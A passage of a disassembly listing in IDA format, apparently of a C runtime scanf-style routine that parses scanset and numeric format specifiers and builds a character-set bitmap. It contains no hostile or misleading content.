		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 6Eh
		jz	short loc_420C9E
		cmp	[ebp+var_C], 63h
		jz	short loc_420C83
		cmp	[ebp+var_C], 7Bh
		jz	short loc_420C83
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_20]
		push	ecx
		call	sub_421DE0
		add	esp, 8
		mov	[ebp+var_1D8], eax
		jmp	short loc_420C9E
; ---------------------------------------------------------------------------


loc_420C83:				; CODE XREF: sub_420920+343j
					; sub_420920+349j
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_421D60
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_420C9E:				; CODE XREF: sub_420920+33Dj
					; sub_420920+361j
		cmp	[ebp+var_1E8], 0
		jz	short loc_420CB1
		cmp	[ebp+var_1C], 0
		jz	loc_421ABF


loc_420CB1:				; CODE XREF: sub_420920+385j
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_204], ecx
		mov	edx, [ebp+var_204]
		sub	edx, 63h
		mov	[ebp+var_204], edx
		cmp	[ebp+var_204], 18h
		ja	loc_421A6A
		mov	ecx, [ebp+var_204]
		xor	eax, eax
		mov	al, byte_421CDE[ecx]
		jmp	off_421CB6[eax*4]


loc_420CEB:				; DATA XREF: ___:off_421CB6o
		cmp	[ebp+var_1E8], 0
		jnz	short loc_420D0C
		mov	edx, [ebp+var_1E8]
		add	edx, 1
		mov	[ebp+var_1E8], edx
		mov	eax, [ebp+var_1C]
		add	eax, 1
		mov	[ebp+var_1C], eax


loc_420D0C:				; CODE XREF: sub_420920+3D2j
		movsx	ecx, [ebp+var_14]
		test	ecx, ecx
		jle	short loc_420D1D
		mov	dl, [ebp+var_64]
		add	dl, 1
		mov	[ebp+var_64], dl


loc_420D1D:				; CODE XREF: sub_420920+3F2j
		mov	[ebp+var_1E0], offset dword_444100
		mov	al, [ebp+var_10]
		sub	al, 1
		mov	[ebp+var_10], al
		jmp	short loc_420DA0
; ---------------------------------------------------------------------------


loc_420D31:				; CODE XREF: sub_420920+3C4j
					; DATA XREF: ___:00421CCEo
		movsx	ecx, [ebp+var_14]
		test	ecx, ecx
		jle	short loc_420D42
		mov	dl, [ebp+var_64]
		add	dl, 1
		mov	[ebp+var_64], dl


loc_420D42:				; CODE XREF: sub_420920+417j
		mov	[ebp+var_1E0], offset dword_4440F8
		mov	al, [ebp+var_10]
		sub	al, 1
		mov	[ebp+var_10], al
		jmp	short loc_420DA0
; ---------------------------------------------------------------------------


loc_420D56:				; CODE XREF: sub_420920+3C4j
					; DATA XREF: ___:00421CD6o
		movsx	ecx, [ebp+var_14]
		test	ecx, ecx
		jle	short loc_420D67
		mov	dl, [ebp+var_64]
		add	dl, 1
		mov	[ebp+var_64], dl


loc_420D67:				; CODE XREF: sub_420920+43Cj
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_1E0]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 5Eh
		jnz	short loc_420DA0
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	dl, [ebp+var_10]
		sub	dl, 1
		mov	[ebp+var_10], dl


loc_420DA0:				; CODE XREF: sub_420920+40Fj
					; sub_420920+434j ...
		push	20h
		push	0
		lea	eax, [ebp+var_60]
		push	eax
		call	sub_417070
		add	esp, 0Ch
		cmp	[ebp+var_C], 7Bh
		jnz	short loc_420DDC
		mov	ecx, [ebp+var_1E0]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 5Dh
		jnz	short loc_420DDC
		mov	byte ptr [ebp+var_8], 5Dh
		mov	eax, [ebp+var_1E0]
		add	eax, 1
		mov	[ebp+var_1E0], eax
		mov	[ebp+var_55], 20h


loc_420DDC:				; CODE XREF: sub_420920+494j
					; sub_420920+4A3j ...
		mov	ecx, [ebp+var_1E0]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 5Dh
		jz	loc_420F47
		mov	eax, [ebp+var_1E0]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_1EC],	cl
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		mov	eax, [ebp+var_1EC]
		and	eax, 0FFh
		cmp	eax, 2Dh
		jnz	short loc_420E38
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_420E38
		mov	edx, [ebp+var_1E0]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 5Dh
		jnz	short loc_420E7E


loc_420E38:				; CODE XREF: sub_420920+4FAj
					; sub_420920+507j
		mov	cl, byte ptr [ebp+var_1EC]
		mov	byte ptr [ebp+var_8], cl
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		sar	edx, 3
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		and	ecx, 7
		mov	eax, 1
		shl	eax, cl
		mov	cl, [ebp+edx+var_60]
		or	cl, al
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		sar	edx, 3
		mov	[ebp+edx+var_60], cl
		jmp	loc_420F42
; ---------------------------------------------------------------------------


loc_420E7E:				; CODE XREF: sub_420920+516j
		mov	eax, [ebp+var_1E0]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_1EC],	cl
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		mov	eax, [ebp+var_8]
		and	eax, 0FFh
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		cmp	eax, ecx
		jge	short loc_420EBE
		mov	dl, byte ptr [ebp+var_1EC]
		mov	byte ptr [ebp+var_24], dl
		jmp	short loc_420ECD
; ---------------------------------------------------------------------------


loc_420EBE:				; CODE XREF: sub_420920+591j
		mov	al, byte ptr [ebp+var_8]
		mov	byte ptr [ebp+var_24], al
		mov	cl, byte ptr [ebp+var_1EC]
		mov	byte ptr [ebp+var_8], cl


loc_420ECD:				; CODE XREF: sub_420920+59Cj
		mov	dl, byte ptr [ebp+var_8]
		mov	byte ptr [ebp+var_1EC],	dl
		jmp	short loc_420EE6
; ---------------------------------------------------------------------------


loc_420ED8:				; CODE XREF: sub_420920+61Cj
		mov	al, byte ptr [ebp+var_1EC]
		add	al, 1
		mov	byte ptr [ebp+var_1EC],	al


loc_420EE6:				; CODE XREF: sub_420920+5B6j
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		mov	edx, [ebp+var_24]
		and	edx, 0FFh
		cmp	ecx, edx
		jg	short loc_420F3E
		mov	eax, [ebp+var_1EC]
		and	eax, 0FFh
		sar	eax, 3
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		and	ecx, 7
		mov	edx, 1
		shl	edx, cl
		mov	al, [ebp+eax+var_60]
		or	al, dl
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		sar	ecx, 3
		mov	[ebp+ecx+var_60], al
		jmp	short loc_420ED8
; ---------------------------------------------------------------------------


loc_420F3E:				; CODE XREF: sub_420920+5DDj
		mov	byte ptr [ebp+var_8], 0


loc_420F42:				; CODE XREF: sub_420920+559j
		jmp	loc_420DDC
; ---------------------------------------------------------------------------


loc_420F47:				; CODE XREF: sub_420920+4C9j
		mov	edx, [ebp+var_1E0]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jnz	short loc_420F5A
		jmp	loc_421C0A
; ---------------------------------------------------------------------------


loc_420F5A:				; CODE XREF: sub_420920+633j
		cmp	[ebp+var_C], 7Bh
		jnz	short loc_420F69
		mov	ecx, [ebp+var_1E0]
		mov	[ebp+arg_4], ecx


loc_420F69:				; CODE XREF: sub_420920+63Ej
		mov	edx, [ebp+var_3C]
		mov	[ebp+var_1E4], edx
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_421DC0
		add	esp, 8


loc_420F8E:				; CODE XREF: sub_420920:loc_4210D0j
		cmp	[ebp+var_1E8], 0
		jz	short loc_420FAB
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jz	loc_4210D5


loc_420FAB:				; CODE XREF: sub_420920+675j
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_421D60
		add	esp, 4
		mov	[ebp+var_1D8], eax
		cmp	[ebp+var_1D8], 0FFFFFFFFh
		jz	loc_4210B2
		mov	ecx, [ebp+var_1D8]
		sar	ecx, 3
		movsx	edx, [ebp+ecx+var_60]
		movsx	eax, [ebp+var_10]
		xor	edx, eax
		mov	ecx, [ebp+var_1D8]
		and	ecx, 7
		mov	eax, 1
		shl	eax, cl
		and	edx, eax
		test	edx, edx
		jz	loc_4210B2
		movsx	ecx, [ebp+var_70]
		test	ecx, ecx
		jnz	loc_4210A1
		movsx	edx, [ebp+var_64]
		test	edx, edx
		jz	short loc_42108B
		mov	al, byte ptr [ebp+var_1D8]
		mov	[ebp+var_1F0], al
		mov	ecx, [ebp+var_1D8]
		and	ecx, 0FFh
		mov	edx, off_443C7C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_42105D
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_421D60
		add	esp, 4
		mov	[ebp+var_1EF], al


loc_42105D:				; CODE XREF: sub_420920+720j
		mov	eax, dword_443B70
		push	eax
		lea	ecx, [ebp+var_1F0]
		push	ecx
		lea	edx, [ebp+var_4]
		push	edx
		call	sub_428710
		add	esp, 0Ch
		mov	eax, [ebp+var_3C]
		mov	cx, [ebp+var_4]
		mov	[eax], cx
		mov	edx, [ebp+var_3C]
		add	edx, 2
		mov	[ebp+var_3C], edx
		jmp	short loc_42109F
; ---------------------------------------------------------------------------


loc_42108B:				; CODE XREF: sub_420920+6F3j
		mov	eax, [ebp+var_3C]
		mov	cl, byte ptr [ebp+var_1D8]
		mov	[eax], cl
		mov	edx, [ebp+var_3C]
		add	edx, 1
		mov	[ebp+var_3C], edx


loc_42109F:				; CODE XREF: sub_420920+769j
		jmp	short loc_4210B0
; ---------------------------------------------------------------------------


loc_4210A1:				; CODE XREF: sub_420920+6E7j
		mov	eax, [ebp+var_1E4]
		add	eax, 1
		mov	[ebp+var_1E4], eax


loc_4210B0:				; CODE XREF: sub_420920:loc_42109Fj
		jmp	short loc_4210D0
; ---------------------------------------------------------------------------


loc_4210B2:				; CODE XREF: sub_420920+6ADj
					; sub_420920+6DBj
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_421DC0
		add	esp, 8
		jmp	short loc_4210D5
; ---------------------------------------------------------------------------


loc_4210D0:				; CODE XREF: sub_420920:loc_4210B0j
		jmp	loc_420F8E
; ---------------------------------------------------------------------------


loc_4210D5:				; CODE XREF: sub_420920+685j
					; sub_420920+7AEj
		mov	ecx, [ebp+var_1E4]
		cmp	ecx, [ebp+var_3C]
		jz	short loc_421111
		movsx	edx, [ebp+var_70]
		test	edx, edx
		jnz	short loc_42110F
		mov	eax, [ebp+var_34]
		add	eax, 1
		mov	[ebp+var_34], eax
		cmp	[ebp+var_C], 63h
		jz	short loc_42110F
		movsx	ecx, [ebp+var_64]
		test	ecx, ecx
		jz	short loc_421109
		mov	edx, [ebp+var_3C]
		mov	word ptr [edx],	0
		jmp	short loc_42110F
; ---------------------------------------------------------------------------


loc_421109:				; CODE XREF: sub_420920+7DDj
		mov	eax, [ebp+var_3C]
		mov	byte ptr [eax],	0


loc_42110F:				; CODE XREF: sub_420920+7C6j
					; sub_420920+7D5j ...
		jmp	short loc_421116
; ---------------------------------------------------------------------------


loc_421111:				; CODE XREF: sub_420920+7BEj
		jmp	loc_421C0A
; ---------------------------------------------------------------------------


loc_421116:				; CODE XREF: sub_420920:loc_42110Fj
		jmp	loc_421AB4
; ---------------------------------------------------------------------------


loc_42111B:				; CODE XREF: sub_420920+3C4j
					; DATA XREF: ___:00421CC2o
		mov	[ebp+var_C], 64h


loc_421122:				; CODE XREF: sub_420920+3C4j
					; DATA XREF: ___:00421CD2o
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_421136
		mov	cl, [ebp+var_68]
		add	cl, 1
		mov	[ebp+var_68], cl
		jmp	short loc_42113F
; ---------------------------------------------------------------------------


loc_421136:				; CODE XREF: sub_420920+809j
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_42117C


loc_42113F:				; CODE XREF: sub_420920+814j
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jnz	short loc_421161
		cmp	[ebp+var_1E8], 0
		jz	short loc_421161
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al
		jmp	short loc_42117C
; ---------------------------------------------------------------------------


loc_421161:				; CODE XREF: sub_420920+82Cj
					; sub_420920+835j
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_421D60
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_42117C:				; CODE XREF: sub_420920+81Dj
					; sub_420920+83Fj
		cmp	[ebp+var_1D8], 30h
		jnz	loc_42121E
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_421D60
		add	esp, 4
		mov	[ebp+var_1D8], eax
		movsx	edx, byte ptr [ebp+var_1D8]
		cmp	edx, 78h
		jz	short loc_4211BC
		movsx	eax, byte ptr [ebp+var_1D8]
		cmp	eax, 58h
		jnz	short loc_4211E0


loc_4211BC:				; CODE XREF: sub_420920+88Ej
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_421D60
		add	esp, 4
		mov	[ebp+var_1D8], eax
		mov	[ebp+var_C], 78h
		jmp	short loc_42121E
; ---------------------------------------------------------------------------


loc_4211E0:				; CODE XREF: sub_420920+89Aj
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax
		cmp	[ebp+var_C], 78h
		jz	short loc_4211F8
		mov	[ebp+var_C], 6Fh
		jmp	short loc_42121E
; ---------------------------------------------------------------------------


loc_4211F8:				; CODE XREF: sub_420920+8CDj
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_421DC0
		add	esp, 8
		mov	[ebp+var_1D8], 30h


loc_42121E:				; CODE XREF: sub_420920+863j
					; sub_420920+8BEj ...
		jmp	short loc_42127E
; ---------------------------------------------------------------------------


loc_421220:				; CODE XREF: sub_420920+3C4j
					; DATA XREF: ___:00421CCAo
		mov	[ebp+var_38], 1


loc_421224:				; CODE XREF: sub_420920+3C4j
					; DATA XREF: ___:00421CBAo
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_421238
		mov	cl, [ebp+var_68]
		add	cl, 1
		mov	[ebp+var_68], cl
		jmp	short loc_421241
; ---------------------------------------------------------------------------


loc_421238:				; CODE XREF: sub_420920+90Bj
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_42127E


loc_421241:				; CODE XREF: sub_420920+916j
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jnz	short loc_421263
		cmp	[ebp+var_1E8], 0
		jz	short loc_421263
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al
		jmp	short loc_42127E
; ---------------------------------------------------------------------------


loc_421263:				; CODE XREF: sub_420920+92Ej
					; sub_420920+937j
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_421D60
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_42127E:				; CODE XREF: sub_420920:loc_42121Ej
					; sub_420920+91Fj ...
		cmp	[ebp+var_1DC], 0
		jz	loc_421479


loc_42128B:				; CODE XREF: sub_420920:loc_421454j
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	loc_421459
		cmp	[ebp+var_C], 78h
		jnz	loc_421326
		cmp	dword_443B70, 1
		jle	short loc_4212C6
		push	80h
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_208], eax
		jmp	short loc_4212E3
; ---------------------------------------------------------------------------


loc_4212C6:				; CODE XREF: sub_420920+988j
		mov	edx, [ebp+var_1D8]
		mov	eax, off_443C7C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 80h
		mov	[ebp+var_208], ecx


loc_4212E3:				; CODE XREF: sub_420920+9A4j
		cmp	[ebp+var_208], 0
		jz	short loc_421319
		mov	ecx, 4
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		call	sub_428CE0
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_421D00
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	short loc_421321
; ---------------------------------------------------------------------------


loc_421319:				; CODE XREF: sub_420920+9CAj
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_421321:				; CODE XREF: sub_420920+9F7j
		jmp	loc_4213CD
; ---------------------------------------------------------------------------


loc_421326:				; CODE XREF: sub_420920+97Bj
		cmp	dword_443B70, 1
		jle	short loc_421348
		push	4
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_20C], eax
		jmp	short loc_421362
; ---------------------------------------------------------------------------


loc_421348:				; CODE XREF: sub_420920+A0Dj
		mov	edx, [ebp+var_1D8]
		mov	eax, off_443C7C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_20C], ecx


loc_421362:				; CODE XREF: sub_420920+A26j
		cmp	[ebp+var_20C], 0
		jz	short loc_4213C5
		cmp	[ebp+var_C], 6Fh
		jnz	short loc_42139D
		cmp	[ebp+var_1D8], 38h
		jge	short loc_421392
		mov	ecx, 3
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		call	sub_428CE0
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx
		jmp	short loc_42139B
; ---------------------------------------------------------------------------


loc_421392:				; CODE XREF: sub_420920+A58j
		mov	dl, [ebp+var_18]
		add	dl, 1
		mov	[ebp+var_18], dl


loc_42139B:				; CODE XREF: sub_420920+A70j
		jmp	short loc_4213C3
; ---------------------------------------------------------------------------


loc_42139D:				; CODE XREF: sub_420920+A4Fj
		mov	ecx, 2
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		call	sub_428CE0
		add	eax, [ebp+var_30]
		adc	edx, [ebp+var_2C]
		mov	ecx, 1
		call	sub_428CE0
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx


loc_4213C3:				; CODE XREF: sub_420920:loc_42139Bj
		jmp	short loc_4213CD
; ---------------------------------------------------------------------------


loc_4213C5:				; CODE XREF: sub_420920+A49j
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_4213CD:				; CODE XREF: sub_420920:loc_421321j
					; sub_420920:loc_4213C3j
		movsx	ecx, [ebp+var_18]
		test	ecx, ecx
		jnz	short loc_421438
		mov	edx, [ebp+var_6C]
		add	edx, 1
		mov	[ebp+var_6C], edx
		mov	eax, [ebp+var_1D8]
		sub	eax, 30h
		cdq
		mov	ecx, [ebp+var_30]
		add	ecx, eax
		mov	eax, [ebp+var_2C]
		adc	eax, edx
		mov	[ebp+var_30], ecx
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_1E8], 0
		jz	short loc_42141B
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		cmp	[ebp+var_1C], 0
		jnz	short loc_42141B
		mov	dl, [ebp+var_18]
		add	dl, 1
		mov	[ebp+var_18], dl
		jmp	short loc_421436
; ---------------------------------------------------------------------------


loc_42141B:				; CODE XREF: sub_420920+ADFj
					; sub_420920+AEEj
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_421D60
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_421436:				; CODE XREF: sub_420920+AF9j
		jmp	short loc_421454
; ---------------------------------------------------------------------------


loc_421438:				; CODE XREF: sub_420920+AB3j
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_421DC0
		add	esp, 8


loc_421454:				; CODE XREF: sub_420920:loc_421436j
		jmp	loc_42128B
; ---------------------------------------------------------------------------


loc_421459:				; CODE XREF: sub_420920+971j
		movsx	edx, [ebp+var_68]
		test	edx, edx
		jz	short loc_421474
		mov	eax, [ebp+var_30]
		neg	eax
		mov	ecx, [ebp+var_2C]
		adc	ecx, 0
		neg	ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], ecx


loc_421474:				; CODE XREF: sub_420920+B3Fj
		jmp	loc_42161D
; ---------------------------------------------------------------------------


loc_421479:				; CODE XREF: sub_420920+965j
					; sub_420920:loc_421608j
		movsx	edx, [ebp+var_18]
		test	edx, edx
		jnz	loc_42160D
		cmp	[ebp+var_C], 78h
		jz	short loc_421491
		cmp	[ebp+var_C], 70h
		jnz	short loc_421509


loc_421491:				; CODE XREF: sub_420920+B69j
		cmp	dword_443B70, 1
		jle	short loc_4214B6
		push	80h
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_210], eax
		jmp	short loc_4214D3
; ---------------------------------------------------------------------------


loc_4214B6:				; CODE XREF: sub_420920+B78j
		mov	ecx, [ebp+var_1D8]
		mov	edx, off_443C7C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 80h
		mov	[ebp+var_210], eax


loc_4214D3:				; CODE XREF: sub_420920+B94j
		cmp	[ebp+var_210], 0
		jz	short loc_4214FC
		mov	ecx, [ebp+var_40]
		shl	ecx, 4
		mov	[ebp+var_40], ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_421D00
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	short loc_421504
; ---------------------------------------------------------------------------


loc_4214FC:				; CODE XREF: sub_420920+BBAj
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_421504:				; CODE XREF: sub_420920+BDAj
		jmp	loc_42158B
; ---------------------------------------------------------------------------


loc_421509:				; CODE XREF: sub_420920+B6Fj
		cmp	dword_443B70, 1
		jle	short loc_42152B
		push	4
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_214], eax
		jmp	short loc_421545
; ---------------------------------------------------------------------------


loc_42152B:				; CODE XREF: sub_420920+BF0j
		mov	edx, [ebp+var_1D8]
		mov	eax, off_443C7C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_214], ecx


loc_421545:				; CODE XREF: sub_420920+C09j
		cmp	[ebp+var_214], 0
		jz	short loc_421582
		cmp	[ebp+var_C], 6Fh
		jnz	short loc_421572
		cmp	[ebp+var_1D8], 38h
		jge	short loc_421568
		mov	edx, [ebp+var_40]
		shl	edx, 3
		mov	[ebp+var_40], edx
		jmp	short loc_421570
; ---------------------------------------------------------------------------


loc_421568:				; CODE XREF: sub_420920+C3Bj
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_421570:				; CODE XREF: sub_420920+C46j
		jmp	short loc_421580
; ---------------------------------------------------------------------------


loc_421572:				; CODE XREF: sub_420920+C32j
		mov	ecx, [ebp+var_40]
		mov	edx, [ebp+var_40]
		lea	eax, [edx+ecx*4]
		shl	eax, 1
		mov	[ebp+var_40], eax


loc_421580:				; CODE XREF: sub_420920:loc_421570j
		jmp	short loc_42158B
; ---------------------------------------------------------------------------


loc_421582:				; CODE XREF: sub_420920+C2Cj
		mov	cl, [ebp+var_18]
		add	cl, 1
		mov	[ebp+var_18], cl


loc_42158B:				; CODE XREF: sub_420920:loc_421504j
					; sub_420920:loc_421580j
		movsx	edx, [ebp+var_18]
		test	edx, edx
		jnz	short loc_4215EC
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax
		mov	ecx, [ebp+var_1D8]
		mov	edx, [ebp+var_40]
		lea	eax, [edx+ecx-30h]
		mov	[ebp+var_40], eax
		cmp	[ebp+var_1E8], 0
		jz	short loc_4215CF
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		cmp	[ebp+var_1C], 0
		jnz	short loc_4215CF
		mov	dl, [ebp+var_18]
		add	dl, 1
		mov	[ebp+var_18], dl
		jmp	short loc_4215EA
; ---------------------------------------------------------------------------


loc_4215CF:				; CODE XREF: sub_420920+C93j
					; sub_420920+CA2j
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_421D60
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_4215EA:				; CODE XREF: sub_420920+CADj
		jmp	short loc_421608
; ---------------------------------------------------------------------------


loc_4215EC:				; CODE XREF: sub_420920+C71j
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_421DC0
		add	esp, 8


loc_421608:				; CODE XREF: sub_420920:loc_4215EAj
		jmp	loc_421479
; ---------------------------------------------------------------------------


loc_42160D:				; CODE XREF: sub_420920+B5Fj
		movsx	edx, [ebp+var_68]
		test	edx, edx
		jz	short loc_42161D
		mov	eax, [ebp+var_40]
		neg	eax
		mov	[ebp+var_40], eax


loc_42161D:				; CODE XREF: sub_420920:loc_421474j
					; sub_420920+CF3j
		cmp	[ebp+var_C], 46h
		jnz	short loc_42162A
		mov	[ebp+var_6C], 0


loc_42162A:				; CODE XREF: sub_420920+D01j
		cmp	[ebp+var_6C], 0
		jz	short loc_421678
		movsx	ecx, [ebp+var_70]
		test	ecx, ecx
		jnz	short loc_421676
		mov	edx, [ebp+var_34]
		add	edx, 1
		mov	[ebp+var_34], edx


loc_421641:				; CODE XREF: sub_420920+D70j
		cmp	[ebp+var_1DC], 0
		jz	short loc_42165A
		mov	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_30]
		mov	[eax], ecx
		mov	edx, [ebp+var_2C]
		mov	[eax+4], edx
		jmp	short loc_421676
; ---------------------------------------------------------------------------


loc_42165A:				; CODE XREF: sub_420920+D28j
		movsx	eax, [ebp+var_38]
		test	eax, eax
		jz	short loc_42166C
		mov	ecx, [ebp+var_3C]
		mov	edx, [ebp+var_40]
		mov	[ecx], edx
		jmp	short loc_421676
; ---------------------------------------------------------------------------


loc_42166C:				; CODE XREF: sub_420920+D40j
		mov	eax, [ebp+var_3C]
		mov	cx, word ptr [ebp+var_40]
		mov	[eax], cx


loc_421676:				; CODE XREF: sub_420920+D16j
					; sub_420920+D38j ...
		jmp	short loc_42167D
; ---------------------------------------------------------------------------


loc_421678:				; CODE XREF: sub_420920+D0Ej
		jmp	loc_421C0A
; ---------------------------------------------------------------------------


loc_42167D:				; CODE XREF: sub_420920:loc_421676j
		jmp	loc_421AB4
; ---------------------------------------------------------------------------


loc_421682:				; CODE XREF: sub_420920+3C4j
					; DATA XREF: ___:00421CC6o
		mov	edx, [ebp+var_20]
		mov	[ebp+var_40], edx
		movsx	eax, [ebp+var_70]
		test	eax, eax
		jnz	short loc_421692
		jmp	short loc_421641
; ---------------------------------------------------------------------------


loc_421692:				; CODE XREF: sub_420920+D6Ej
		jmp	loc_421AB4
; ---------------------------------------------------------------------------


loc_421697:				; CODE XREF: sub_420920+3C4j
					; DATA XREF: ___:00421CBEo
		lea	ecx, [ebp+var_1D0]
		mov	[ebp+var_1E0], ecx
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_4216C6
		mov	edx, [ebp+var_1E0]
		mov	byte ptr [edx],	2Dh
		mov	eax, [ebp+var_1E0]
		add	eax, 1
		mov	[ebp+var_1E0], eax
		jmp	short loc_4216CF
; ---------------------------------------------------------------------------


loc_4216C6:				; CODE XREF: sub_420920+D8Aj
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_4216F3


loc_4216CF:				; CODE XREF: sub_420920+DA4j
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_421D60
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_4216F3:				; CODE XREF: sub_420920+DADj
		cmp	[ebp+var_1E8], 0
